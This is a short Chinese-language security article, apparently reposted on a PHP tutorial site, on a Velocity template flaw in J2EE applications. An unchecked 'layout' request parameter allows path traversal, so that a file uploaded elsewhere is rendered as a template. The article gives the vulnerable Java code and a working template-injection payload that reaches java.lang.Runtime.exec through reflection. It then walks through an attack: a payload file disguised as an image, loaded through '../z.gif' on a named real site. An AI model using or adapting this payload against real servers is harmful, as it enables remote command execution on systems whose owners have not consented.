来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] by 空虚浪子心 http://www.inbreak.netvelocity是J2EE的MVC架构最常用的展示层模板文件,由于性能优秀,极多的J2EE应用,都使用了这个模板。通常在使用的时候,会和其他框架结合,最常见的框...
by 空虚浪子心 http://www.inbreak.net
漏洞原理: protected String findLayout(HttpServletRequest request) { // check if an alternate layout has been specified // by way of the request parameters String layout = request.getParameter(KEY_LAYOUT); // also look in the request attributes if (layout == null) { layout = (String)request.getAttribute(KEY_LAYOUT); } return layout; }
从代码中可以看到,参数中指定了layout,servlet之后的代码,就去解析模板了。 mergeTemplate(template, context, response);
利用技巧1: tools.view.servlet.layout.directory = /layout/
这是一个悲剧的点,如果限制死目录,漏洞就会影响很小。 #set ($exec = "kxlzx") $exec.class.forName("java.lang.Runtime").getRuntime().exec("calc")
原理是,定义一个变量叫$exec,变量其实是继承了Object,所以可以调用Object的方法。其中一个属性叫class,可以反射类,我喜欢这个功能,他被无数次应用在java框架漏洞中。这样一步一步来到执行系统命令的地方,执行掉。
攻击示例: #set ($exec = "kxlzx")$exec.class.forName("java.lang.Runtime").getRuntime().exec("calc") hacked by kxlzx<br> <a href="http://www.2cto.com/">http://www.2cto.com/</a> 然后访问:http://www.2cto.com /showcase/context.vm?layout=../z.gif
就可以看到下图: |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com